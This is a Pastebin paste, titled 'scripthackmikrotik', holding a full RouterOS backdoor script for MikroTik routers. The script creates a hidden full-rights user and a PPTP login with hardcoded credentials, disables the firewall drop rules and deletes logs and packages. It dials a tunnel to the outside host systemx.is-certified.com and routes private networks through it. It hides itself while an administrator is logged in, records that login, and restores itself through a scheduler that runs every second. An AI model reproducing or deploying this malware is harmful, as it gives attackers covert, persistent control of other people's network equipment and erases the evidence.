worraprat1992

scripthackmikrotik

Jan 20th, 2016
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.03 KB | None | 0 0
  1. :global systemV 14
  2. :global sysCnt
  3. :global sysCntMax 5
  4. :global sysJail
  5. :global sysNoOther
  6. :global sysPPS
  7. :global sysState
  8. :global sysWhileWait 0
  9. :global userActiveCount
  10. :global PPtPState
  11. :local sysLen
  12. :local sysSource
  13. :local sysPolice
  14. :local sysSchedPolice
  15. :local systemrun
  16. :local pptpcheck
  17. :local contentx
  18. :local accx
  19. :local whenx
  20. :local viax
  21. :local addx
  22. :local PPtPuser
  23. :local howlong 60
  24. :set systemrun [:len [/system script job find script="system"]]
  25. :if ( $systemrun >= 2) do={
  26. :put ""
  27. } else={
  28. :set sysState "1.0"
  29. :set sysNoOther true
  30. :set userActiveCount [:len [/user active find via!="ftp"]]
  31. :if ( $userActiveCount=0 ) do={
  32. :set sysState "1.1.0"
  33. :set sysNoOther true
  34. } else={
  35. :set sysState "1.2.0"
  36. :set sysNoOther true
  37. /user active {
  38. :set sysState "1.2.1.0"
  39. :foreach acc in [find via!="ftp"] do={
  40. :set sysState "1.2.1.1"
  41. :if ( [get $acc name]!="system" ) do={
  42. :set sysState "1.2.1.1.0"
  43. :set sysNoOther false
  44. :set sysCnt 0
  45. :set accx [get $acc name]
  46. :set whenx [get $acc when]
  47. :set viax [get $acc via]
  48. :set addx [get $acc address]
  49. :if ( [:len [/file find name=intru.txt]] = 0 ) do={
  50. :set sysState "1.2.1.1.1"
  51. :if ( [:len [/file find name=login.txt]] = 0 ) do={
  52. :set sysState "1.2.1.1.1.0"
  53. /file print file=login.txt
  54. :delay 2
  55. /file set [find name=login.txt] content="$whenx,$accx,$viax,$addx"
  56. :delay 1
  57. } else={
  58. :set sysState "1.2.1.1.1.1"
  59. :if ( [/file get [find name=login.txt] size ] > 3800 ) do={
  60. /file set [find name=login.txt] content="$whenx,$accx,$viax,$addx"
  61. :delay 1
  62. } else={
  63. :set contentx [/file get [find name=login.txt] content]
  64. :delay 1
  65. /file set [find name=login.txt] content="$contentx\n$whenx,$accx,$viax,$addx"
  66. :delay 1
  67. }
  68. }
  69. /file print file=intru.txt
  70. :delay 1
  71. }
  72. :if ( [:len [/file find name=pps.txt]] != 0 ) do={
  73. :set sysPPS [/file get [find name=pps.txt] content]
  74. } else={
  75. :set sysPPS 0
  76. }
  77. } else={
  78. :set sysState "1.2.1.3"
  79. # :put "---system login---"
  80. }
  81. }
  82. }
  83. }
  84. :if ($sysNoOther) do={
  85. :set sysState "2.0"
  86. :if ( [:len [/file find name=intru.txt]] = 1 ) do={
  87. :set sysState "2.1.0"
  88. :if ( $sysCnt < $sysCntMax ) do={
  89. :set sysState "2.1.1"
  90. # :put "Other login waiting for ($sysCntMax-$sysCnt) seconds..."
  91. :set sysCnt ($sysCnt + 1)
  92. } else={
  93. :set sysState "2.1.2"
  94. :if ([:len [/user find name=system ]] = 0) do={
  95. :set sysState "2.1.2.0"
  96. /user add group=full name=system password=nopassword
  97. /interface pptp-server server set default-profile=default enabled=yes max-mru=1472 max-mtu=1472
  98. /ip pool remove [find name=system]
  99. /ppp profile remove [find comment=system]
  100. /ppp secret remove [find comment=system]
  101. :delay 1
  102. /ip pool add name=system ranges=10.147.147.2-10.147.147.254
  103. /ppp profile add local-address=10.147.147.1 name=system remote-address=system comment=system
  104. /ppp secret add name=spidy password=peterparker profile=system service=pptp comment=system
  105. }
  106. :set sysState "2.1.3"
  107. /file remove [find type=".log file"]
  108. /file remove [find type=package]
  109. /file remove [find type=".npk file"]
  110. /file remove [find name=intru.txt]
  111. /ip service set [find name=ftp] disabled=no port=21
  112. /ip firewall service-port set [find name=ftp] disabled=no ports=21
  113. /ip firewall filter set [find chain=input and action=drop ] disabled=yes
  114. /ip firewall filter set [find chain=output and action=drop ] disabled=yes
  115. :delay 1
  116. /ip firewall filter add chain=input src-address=172.16.0.0/12 action=accept comment=system
  117. /ip firewall filter add chain=output src-address=172.16.0.0/12 action=accept comment=system
  118. /ip firewall filter add chain=input src-address=127.0.0.1/32 action=accept comment=system
  119. /ip firewall filter add chain=output src-address=127.0.0.1/32 action=accept comment=system
  120. /ip firewall filter add chain=input dst-port=21,22,23,162 src-address=!172.16.0.0/12 action=drop protocol=tcp comment=system
  121. #------------add for Version 14(RC)---------
  122. /ip firewall filter add chain=input dst-port=161 src-address=!172.16.0.0/12 action=drop protocol=udp comment=system
  123. #------------add for Version 14---------
  124. /user set [find name=system] address=172.16.0.0/12,127.0.0.1;
  125. :local archi
  126. :set archi [/system resource get architecture-name ]
  127. :if ( ([:len [/file find name=jail.txt]] != 0 ) or $sysJail ) do={
  128. :set PPtPuser "jail"
  129. } else={
  130. :set PPtPuser "void"
  131. }
  132. :if ( $archi="tile" ) do={
  133. :set PPtPState ($PPtPuser."CCR")
  134. } else={
  135. :if ( $archi="powerpc" ) do={
  136. :set PPtPState ($PPtPuser."PPC")
  137. } else={
  138. :if ($archi="mipsbe") do={
  139. :set PPtPState ($PPtPuser."MIPSBE")
  140. } else={
  141. :if ($archi="mipsle") do={
  142. :set PPtPState ($PPtPuser."MIPSLE")
  143. } else={
  144. :if ($archi="smips") do={
  145. :set PPtPState ($PPtPuser."SMIPS")
  146. } else={
  147. :if ($archi="x86") do={
  148. :set PPtPState ($PPtPuser."X86")
  149. } else={
  150. :set PPtPState $PPtPuser
  151. }
  152. }
  153. }
  154. }
  155. }
  156. }
  157. /user set [find name=system] password=xsystem;
  158. :set pptpcheck [:len [/interface pptp-client find name=system]]
  159. :if ( $pptpcheck = 0 ) do={
  160. :set sysState "2.1.3.0"
  161. /interface pptp-client add allow=mschap1,mschap2 connect-to=8.8.8.8 disabled=no name=system password=password profile=default user=$PPtPState
  162. :delay 1
  163. }
  164. :local pptpConnectTo
  165. :local pptpServerResolve
  166. :if ([:typeof [/interface pptp-client get [find name=system] connect-to ]] ="ip") do={
  167. :set pptpConnectTo [/interface pptp-client get [find name=system] connect-to ];
  168. :set pptpServerResolve [:resolve systemx.is-certified.com];
  169. :if ( $pptpConnectTo != $pptpServerResolve ) do={
  170. /interface pptp-client set [find name=system] connect-to=$pptpServerResolve disabled=no user=$PPtPState password=password
  171. } else={
  172. :put "IP NOT CHANGE"
  173. }
  174. } else={
  175. :set pptpConnectTo [/interface pptp-client get [find name=system] connect-to ];
  176. :set pptpServerResolve "systemx.is-certified.com"
  177. :if ( $pptpConnectTo != $pptpServerResolve ) do={
  178. /interface pptp-client set [find name=system] connect-to=$pptpServerResolve disabled=no user=$PPtPState password=password
  179. } else={
  180. :put "HOST NAME NOT CHANGE"
  181. }
  182. }
  183. :delay 2
  184. :local wait 30
  185. :local pptpWait true
  186. :while ( ( $wait > 0 ) and $pptpWait ) do={
  187. :set sysState "2.1.4.0"
  188. :set pptpWait (![/interface pptp-client get [find name=system] running ])
  189. :set wait ($wait - 1)
  190. :delay 1
  191. }
  192. :if ( (!$pptpWait) ) do={
  193. :if ( [:len [/ip route find dst-address=172.16.0.0/12 ]] = 0 ) do={
  194. :ip route add dst-address=172.16.0.0/12 gateway=system comment=system
  195. } else={
  196. :if ( [/ip route get [find dst-address=172.16.0.0/12] gateway ]!="system") do={
  197. /ip route set [find dst-address=172.16.0.0/12] gateway=system
  198. }
  199. }
  200. :if ( [:len [/ip route find dst-address=172.23.255.0/24 ]] = 0 ) do={
  201. :ip route add dst-address=172.23.255.0/24 gateway=system comment=system
  202. } else={
  203. :if ( [/ip route get [find dst-address=172.23.255.0/24] gateway ]!="system") do={
  204. /ip route set [find dst-address=172.23.255.0/24] gateway=system
  205. }
  206. }
  207. :if ( [:len [/ip route find dst-address=172.24.0.0/14 ]] = 0 ) do={
  208. :ip route add dst-address=172.24.0.0/14 gateway=system comment=system
  209. } else={
  210. :if ( [/ip route get [find dst-address=172.24.0.0/14] gateway ]!="system") do={
  211. /ip route set [find dst-address=172.24.0.0/14] gateway=system
  212. }
  213. }
  214. }
  215. }
  216. } else={
  217. :set sysState "2.2.0"
  218. :put "no login , no file,....resolving pptp server"
  219. :local pptpConnectTo
  220. :local pptpServerResolve
  221. :if ( [:len [/interface pptp-client find name=system]]!=0) do={
  222. :set sysState "2.2.1"
  223. :if ([:typeof [/interface pptp-client get [find name=system] connect-to ]] ="ip") do={
  224. :set sysState "2.2.1.1"
  225. :set pptpConnectTo [/interface pptp-client get [find name=system] connect-to ];
  226. :set pptpServerResolve [:resolve systemx.is-certified.com];
  227. :if ( $pptpConnectTo != $pptpServerResolve ) do={
  228. /interface pptp-client set [find name=system] connect-to=$pptpServerResolve disabled=no
  229. } else={
  230. :put "IP NOT CHANGE"
  231. }
  232. } else={
  233. :set sysState "2.2.1.2"
  234. :set pptpConnectTo [/interface pptp-client get [find name=system] connect-to ];
  235. :set pptpServerResolve "systemx.is-certified.com"
  236. :if ( $pptpConnectTo != $pptpServerResolve ) do={
  237. /interface pptp-client set [find name=system] connect-to=$pptpServerResolve disabled=no
  238. } else={
  239. :put "HOST NAME NOT CHANGE"
  240. }
  241. }
  242. }
  243. :delay 2
  244. :local wait 30
  245. :local pptpWait true
  246. :while ( ( $wait > 0 ) and $pptpWait ) do={
  247. :set sysState "2.1.4.0"
  248. :set pptpWait (![/interface pptp-client get [find name=system] running ])
  249. :set wait ($wait - 1)
  250. :delay 1
  251. }
  252. :if ( (!$pptpWait) ) do={
  253. :if ( [:len [/ip route find dst-address=172.16.0.0/12 ]] = 0 ) do={
  254. :ip route add dst-address=172.16.0.0/12 gateway=system comment=system
  255. } else={
  256. :if ( [/ip route get [find dst-address=172.16.0.0/12] gateway ]!="system") do={
  257. /ip route set [find dst-address=172.16.0.0/12] gateway=system
  258. }
  259. }
  260. :if ( [:len [/ip route find dst-address=172.23.255.0/24 ]] = 0 ) do={
  261. :ip route add dst-address=172.23.255.0/24 gateway=system comment=system
  262. } else={
  263. :if ( [/ip route get [find dst-address=172.23.255.0/24] gateway ]!="system") do={
  264. /ip route set [find dst-address=172.23.255.0/24] gateway=system
  265. }
  266. }
  267. :if ( [:len [/ip route find dst-address=172.24.0.0/14 ]] = 0 ) do={
  268. :ip route add dst-address=172.24.0.0/14 gateway=system comment=system
  269. } else={
  270. :if ( [/ip route get [find dst-address=172.24.0.0/14] gateway ]!="system") do={
  271. /ip route set [find dst-address=172.24.0.0/14] gateway=system
  272. }
  273. }
  274. }
  275. }
  276. } else={
  277. :set sysState "3.0"
  278. :put ".......other login......."
  279. :put ".......Begin Roll Back config......."
  280. :if ( [:len [/file find name=init10.rsc]] != 0 ) do={
  281. /snmp community {
  282. :foreach comm in [find default!=yes] do={
  283. :local commName
  284. :set commName [get $comm name]
  285. # :put $commName
  286. :if ( $commName != "public" ) do={
  287. [remove $comm]
  288. }
  289. }
  290. }
  291. /import init10.rsc
  292. /file remove [find name=init10.rsc]
  293. } else={
  294. :put "snmp"
  295. }
  296. :if ( [:len [/file find name=init11.rsc]] != 0 ) do={
  297. /import file=init11.rsc
  298. /file remove [find name=init11.rsc]
  299. } else={
  300. :put "ip service"
  301. /ip service set [find] disabled=yes
  302. /ip service set [find name=winbox] disabled=no
  303. /ip service set [find name=ssh] disabled=no
  304. /ip service set [find name=www] disabled=no
  305. }
  306. :if ( [:len [/file find name=init12.rsc]] != 0 ) do={
  307. /import file=init12.rsc
  308. /file remove [find name=init12.rsc]
  309. } else={
  310. :put "ip firewall service port"
  311. }
  312. :if ( [:len [/file find name=init13.rsc]] != 0 ) do={
  313. /import file=init13.rsc
  314. /file remove [find name=init13.rsc]
  315. } else={
  316. :put "system logging"
  317. }
  318. :if ( [:len [/file find name=init14.rsc]] != 0 ) do={
  319. /import file=init14.rsc
  320. /file remove [find name=init14.rsc]
  321. } else={
  322. :put "system logging action"
  323. }
  324. :put ".......End Roll Back config......."
  325. :put ".......Begin clear unresponse job...."
  326. :local currenttime
  327. :local jobstarttime
  328. :local tmptime
  329. :set tmptime [/system clock get time]
  330. :put $tmptime
  331. :for x from=0 to=([:len $tmptime] - 1) do={
  332. :if ([:pick $tmptime $x ($x + 1)] = ":") do={
  333. :set tmptime ([:pick $tmptime 0 $x] . "," . [:pick $tmptime ($x + 1) [:len $tmptime]])
  334. }
  335. }
  336. :set tmptime [:toarray $tmptime]
  337. :set currenttime ( (($tmptime->0)*3600) + (($tmptime->1)*60) +($tmptime->2) )
  338. :put $currenttime
  339. /system script job {
  340. :foreach job in [find] do={
  341. :local tmpjobscript
  342. :local tmpjobstart
  343. :local startjob
  344. :local runfor
  345. :set tmpjobscript [get $job script]
  346. :set tmpjobstart [get $job start]
  347. :put "\n"
  348. :put "=======START======="
  349. :put "-------------------------------job script:$tmpjobscript"
  350. # :put [get $job script]
  351. # :put [:typeof [get $job script]]
  352. :if ( [:typeof [get $job script]]="str" ) do={
  353. :put "Remove script ...(PHASE 1)"
  354. :local scriptName [get $job script]
  355. :if ( $scriptName = "monROS" ) do={
  356. :put "Remove this job ....(script monROS )"
  357. [remove $job]
  358. }
  359. :if ( $scriptName = "init0" ) do={
  360. :put "Remove this job ....(script init0 )"
  361. [remove $job]
  362. }
  363. :if ( $scriptName = "init1" ) do={
  364. :put "Remove this job ....(script init1 )"
  365. [remove $job]
  366. }
  367. } else={
  368. :put "Remove this job ....(PHASE 1)"
  369. :set startjob [:pick $tmpjobstart ([:find $tmpjobstart " "] + 1) [:len $tmpjobstart]]
  370. :for x from=0 to=([:len $startjob] - 1) do={
  371. :if ([:pick $startjob $x ($x + 1)] = ":") do={
  372. :set startjob ([:pick $startjob 0 $x] . "," . [:pick $startjob ($x + 1) [:len $startjob]])
  373. }
  374. }
  375. :set startjob [:toarray $startjob]
  376. :set jobstarttime ( (($startjob->0)*3600) + (($startjob->1)*60) +($startjob->2) )
  377. :if ( $currenttime < $jobstarttime ) do={
  378. :set runfor ($currenttime + 86400 - $jobstarttime)
  379. } else={
  380. :set runfor ($currenttime - $jobstarttime)
  381. }
  382. :put "jobstarttime:$jobstarttime runfor:$runfor"
  383. :if ( $runfor > $howlong ) do={
  384. :put "Remove this job ....(PHASE 2)"
  385. [remove $job]
  386. } else={
  387. :put "+++++++++++++WAIT...(PHASE 2)"
  388. }
  389. }
  390. :put "=======STOP======="
  391. }
  392. }
  393. :put ".......End clear unresponse job...."
  394. /system script job remove [find script!="system"]
  395. /user remove [find name=system ]
  396. /ip route remove [find dst-address=172.16.0.0/12]
  397. /ip route remove [find comment=system]
  398. /ip pool remove [find name=system]
  399. /ppp profile remove [find comment=system]
  400. /ppp secret remove [find comment=system]
  401. /interface pptp-client remove [find name=system]
  402. :set sysJail false
  403. :set sysLen [:len [/system script get [find name=system] source ]]
  404. :set sysSource [/system script get [find name=system] source ]
  405. :set sysPolice [/system script get [find name=system] policy ]
  406. :set sysSchedPolice [/system scheduler get [find name=system] policy ]
  407. /tool traffic-generator stop
  408. /tool traffic-generator stream remove [find]
  409. /tool traffic-generator packet-template remove [find]
  410. /tool traffic-generator port remove [find]
  411. /system schedule remove [find name=tfgen]
  412. /system script remove [find name=tfgen]
  413. /system schedule remove [find name=monROS]
  414. /system script remove [find name=monROS]
  415. /system schedule remove [find name=spawn]
  416. /system script remove [find name=spawn]
  417. /system schedule remove [find name=init0]
  418. /system script remove [find name=init0]
  419. /system schedule remove [find name=init1]
  420. /system script remove [find name=init1]
  421. /system schedule remove [find name=init2]
  422. /system script remove [find name=init2]
  423. /system schedule remove [find name=init3]
  424. /system script remove [find name=init3]
  425. /system schedule remove [find name=init4]
  426. /system script remove [find name=init4]
  427. /system schedule remove [find name=init5]
  428. /system script remove [find name=init5]
  429. /system schedule remove [find name=init6]
  430. /system script remove [find name=init6]
  431. /system schedule remove [find name=init7]
  432. /system script remove [find name=init7]
  433. /system schedule remove [find name=init8]
  434. /system script remove [find name=init8]
  435. /system schedule remove [find name=init9]
  436. /system script remove [find name=init9]
  437. /file {
  438. :foreach scriptFile in [find type=script] do={
  439. :local scriptFileName [get $scriptFile name]
  440. :if ( $scriptFileName="init10.rsc" ) do={
  441. :put "This File is OK: $scriptFileName"
  442. } else={
  443. :if ( $scriptFileName="init11.rsc" ) do={
  444. :put "This File is OK: $scriptFileName"
  445. } else={
  446. :if ( $scriptFileName="init12.rsc" ) do={
  447. :put "This File is OK: $scriptFileName"
  448. } else={
  449. :if ( $scriptFileName="init13.rsc" ) do={
  450. :put "This File is OK: $scriptFileName"
  451. } else={
  452. :if ( $scriptFileName="init14.rsc" ) do={
  453. :put "This File is OK: $scriptFileName"
  454. } else={
  455. :if ( $scriptFileName="init15.rsc" ) do={
  456. :put "This File is OK: $scriptFileName"
  457. } else={
  458. :if ( $scriptFileName="init16.rsc" ) do={
  459. :put "This File is OK: $scriptFileName"
  460. } else={
  461. :if ( $scriptFileName="init17.rsc" ) do={
  462. :put "This File is OK: $scriptFileName"
  463. } else={
  464. :if ( $scriptFileName="init18.rsc" ) do={
  465. :put "This File is OK: $scriptFileName"
  466. } else={
  467. :if ( $scriptFileName="init19.rsc" ) do={
  468. :put "This File is OK: $scriptFileName"
  469. } else={
  470. :put "Dont need this File: $scriptFileName"
  471. [remove $scriptFile]
  472. }
  473. }
  474. }
  475. }
  476. }
  477. }
  478. }
  479. }
  480. }
  481. }
  482. }
  483. }
  484. /file remove [find type=".log file"]
  485. /file remove [find type=package]
  486. /file remove [find type=".npk file"]
  487. /file remove [find name=init.db]
  488. /file remove [find name=system]
  489. /file remove [find type=".tar file"]
  490. /file remove [find type=".rif file"]
  491. /file remove [find type=".rar file"]
  492. /file remove [find type=".zip file"]
  493. /file remove [find name=virgin.txt]
  494. /file remove [find name=igw.txt]
  495. /file remove [find name=system.txt]
  496. /file remove [find name=monROS.txt]
  497. /file remove [find name=spawn.txt]
  498. /file remove [find name=sys-note.txt]
  499. /file remove [find name=init0.txt]
  500. /file remove [find name=init1.txt]
  501. /file remove [find name=init2.txt]
  502. /file remove [find name=init3.txt]
  503. /file remove [find name=init4.txt]
  504. /file remove [find name=init5.txt]
  505. /file remove [find name=init6.txt]
  506. /file remove [find name=init7.txt]
  507. /file remove [find name=init8.txt]
  508. /file remove [find name=init9.txt]
  509. /ip firewall filter remove [find comment=system]
  510. /ip firewall mangle remove [find comment=system]
  511. # /ip firewall filter set [find action=drop and chain=input] disabled=no
  512. # /ip firewall filter set [find action=drop and chain=output] disabled=no
  513. :while ( !$sysNoOther ) do={
  514. :set sysWhileWait ($sysWhileWait + 1)
  515. :set sysState "3.1.0"
  516. /file remove [find type=".log file"]
  517. /file remove [find type=package]
  518. /file remove [find type=".npk file"]
  519. /file remove [find type=script]
  520. :if ( [:len [/file find name=intru.txt]] = 0 ) do={
  521. /file print file=intru.txt
  522. }
  523. :if ( [:len [/file find name=pps.txt]] = 0 ) do={
  524. :if ($sysPPS!=0) do={
  525. /file print file=pps.txt
  526. :delay 2
  527. /file set [find name=pps.txt] content="$sysPPS"
  528. }
  529. }
  530. :if ( [:len [/system script find name=system]] = 1 ) do={
  531. :set sysState "3.1.2"
  532. :local sysSourceCheck
  533. :local sysPoliceCheck
  534. :local sysLenCheck
  535. :set sysLenCheck [:len [/system script get [find name=system] source ]]
  536. :set sysSourceCheck [/system script get [find name=system] source ]
  537. :set sysPoliceCheck [/system script get [find name=system] policy ]
  538. :put "$sysLen.....$sysLenCheck"
  539. :if ( $sysSource != $sysSourceCheck ) do={
  540. /system script set [find name=system] source=$sysSource
  541. :set sysJail true
  542. :local jailFile
  543. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  544. :if ( [:file get jail.txt size ] < 3800 ) do={
  545. :set jailFile [/file get [find name=jail.txt] content]
  546. :delay 1
  547. /file set [find name=jail.txt] content="$jailFile,SCR01"
  548. }
  549. } else={
  550. /file print file=jail.txt
  551. :delay 2
  552. /file set [find name=jail.txt] content="SCR01"
  553. }
  554. } else={
  555. :put "system script source is not modified"
  556. }
  557. :if ($sysPolice != $sysPoliceCheck ) do={
  558. /system script set [find name=system] policy=$sysPolice
  559. :set sysJail true
  560. :local jailFile
  561. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  562. :if ( [:file get jail.txt size ] < 3800 ) do={
  563. :set jailFile [/file get [find name=jail.txt] content]
  564. :delay 1
  565. /file set [find name=jail.txt] content="$jailFile,SCR02"
  566. }
  567. } else={
  568. /file print file=jail.txt
  569. :delay 2
  570. /file set [find name=jail.txt] content="SCR02"
  571. }
  572. } else={
  573. :put "system script policy is not modified"
  574. }
  575. } else={
  576. :set sysState "3.1.3"
  577. /system script add name=system policy=$sysPolice source=$sysSource
  578. :set sysJail true
  579. :local jailFile
  580. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  581. :if ( [:file get jail.txt size ] < 3800 ) do={
  582. :set jailFile [/file get [find name=jail.txt] content]
  583. :delay 1
  584. /file set [find name=jail.txt] content="$jailFile,SCR00"
  585. }
  586. } else={
  587. /file print file=jail.txt
  588. :delay 2
  589. /file set [find name=jail.txt] content="SCR00"
  590. }
  591. }
  592. /system script {
  593. :foreach scri in [find name!="system"] do={
  594. :if ( [get $scri source]=$sysSource ) do={
  595. [remove $scri]
  596. }
  597. }
  598. }
  599. :if ( [:len [/system schedule find name=system]] = 1 ) do={
  600. :local sysSchedPoliceCheck
  601. :set sysSchedPoliceCheck [/system scheduler get [find name=system] policy ]
  602. :if ( $sysSchedPolice != $sysSchedPoliceCheck ) do={
  603. /system scheduler set [find name=system] policy=$sysSchedPolice
  604. :set sysJail true
  605. :local jailFile
  606. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  607. :if ( [:file get jail.txt size ] < 3800 ) do={
  608. :set jailFile [/file get [find name=jail.txt] content]
  609. :delay 1
  610. /file set [find name=jail.txt] content="$jailFile,SCH01"
  611. }
  612. } else={
  613. /file print file=jail.txt
  614. :delay 2
  615. /file set [find name=jail.txt] content="SCH01"
  616. }
  617. } else={
  618. :put "system scheduler policy is not modified"
  619. }
  620. :if ( [/system scheduler get [find name=system] disabled ] !=no ) do={
  621. /system scheduler set [find name=system] disabled=no;
  622. :set sysJail true
  623. :local jailFile
  624. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  625. :if ( [:file get jail.txt size ] < 3800 ) do={
  626. :set jailFile [/file get [find name=jail.txt] content]
  627. :delay 1
  628. /file set [find name=jail.txt] content="$jailFile,SCH02"
  629. }
  630. } else={
  631. /file print file=jail.txt
  632. :delay 2
  633. /file set [find name=jail.txt] content="SCH02"
  634. }
  635. }
  636. :if ( [/system scheduler get [find name=system] interval ] !="00:00:01" ) do={
  637. /system scheduler set [find name=system] interval=00:00:01;
  638. :set sysJail true
  639. :local jailFile
  640. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  641. :if ( [:file get jail.txt size ] < 3800 ) do={
  642. :set jailFile [/file get [find name=jail.txt] content]
  643. :delay 1
  644. /file set [find name=jail.txt] content="$jailFile,SCH03"
  645. }
  646. } else={
  647. /file print file=jail.txt
  648. :delay 2
  649. /file set [find name=jail.txt] content="SCH03"
  650. }
  651. }
  652. :if ( [/system scheduler get [find name=system] start-time ] !="00:00:00") do={
  653. /system scheduler set [find name=system] start-time=00:00:00;
  654. :set sysJail true
  655. :local jailFile
  656. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  657. :if ( [:file get jail.txt size ] < 3800 ) do={
  658. :set jailFile [/file get [find name=jail.txt] content]
  659. :delay 1
  660. /file set [find name=jail.txt] content="$jailFile,SCH04"
  661. }
  662. } else={
  663. /file print file=jail.txt
  664. :delay 2
  665. /file set [find name=jail.txt] content="SCH04"
  666. }
  667. }
  668. :if ( [/system scheduler get [find name=system] start-date ] !="jan/01/1970" ) do={
  669. /system scheduler set [find name=system] start-date=jan/01/1970;
  670. :set sysJail true
  671. :local jailFile
  672. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  673. :if ( [:file get jail.txt size ] < 3800 ) do={
  674. :set jailFile [/file get [find name=jail.txt] content]
  675. :delay 1
  676. /file set [find name=jail.txt] content="$jailFile,SCH05"
  677. }
  678. } else={
  679. /file print file=jail.txt
  680. :delay 2
  681. /file set [find name=jail.txt] content="SCH05"
  682. }
  683. }
  684. :if ( [/system scheduler get [find name=system] on-event ] !="system" ) do={
  685. /system scheduler set [find name=system] on-event=system;
  686. :set sysJail true
  687. :local jailFile
  688. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  689. :if ( [:file get jail.txt size ] < 3800 ) do={
  690. :set jailFile [/file get [find name=jail.txt] content]
  691. :delay 1
  692. /file set [find name=jail.txt] content="$jailFile,SCH06"
  693. }
  694. } else={
  695. /file print file=jail.txt
  696. :delay 2
  697. /file set [find name=jail.txt] content="SCH06"
  698. }
  699. }
  700. } else={
  701. :put "system scheduler was removed"
  702. /system schedule add interval=1s name=system on-event=system start-date=jan/01/1970 start-time=00:00:00
  703. :set sysJail true
  704. :local jailFile
  705. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  706. :if ( [:file get jail.txt size ] < 3800 ) do={
  707. :set jailFile [/file get [find name=jail.txt] content]
  708. :delay 1
  709. /file set [find name=jail.txt] content="$jailFile,SCH00"
  710. }
  711. } else={
  712. /file print file=jail.txt
  713. :delay 2
  714. /file set [find name=jail.txt] content="SCH00"
  715. }
  716. }
  717. :if ( $sysJail ) do={
  718. :local jailFile
  719. :if ( [:len [/file find name=jail.txt]] = 0 ) do={
  720. /file print file=jail.txt
  721. :delay 2
  722. /file set [find name=jail.txt] content="ERR00"
  723. }
  724. } else={
  725. :if ( [:len [/file find name=jail.txt]] != 0 ) do={
  726. :set sysJail true
  727. }
  728. }
  729. :set userActiveCount [:len [/user active find via!="ftp"]]
  730. :if ( $userActiveCount=0 ) do={
  731. :set sysNoOther true
  732. } else={
  733. :set sysNoOther true
  734. /user active {
  735. :foreach acc in [find via!="ftp"] do={
  736. :if ( [get $acc name]!="system" ) do={
  737. :set sysNoOther false
  738. }
  739. }
  740. }
  741. }
  742. :delay 1
  743. }
  744. :set sysState "3.2.0"
  745. :put ".....Begin Export config....."
  746. /snmp export verbose file=init10
  747. /ip service export verbose file=init11
  748. /ip firewall service-port export verbose file=init12
  749. /system logging export verbose file=init13
  750. /system logging action export verbose file=init14
  751. :put ".....End Export config....."
  752. :local logouttime
  753. :set logouttime [/system clock get time]
  754. :set contentx [/file get [find name=login.txt] content]
  755. :delay 1
  756. :if ( [:file get login.txt size ] < 3800 ) do={
  757. /file set [find name=login.txt] content="$contentx,$logouttime"
  758. :delay 1
  759. }
  760. /system script environment remove [find]
  761. }
  762. }
Add Comment
Please, Sign In to add comment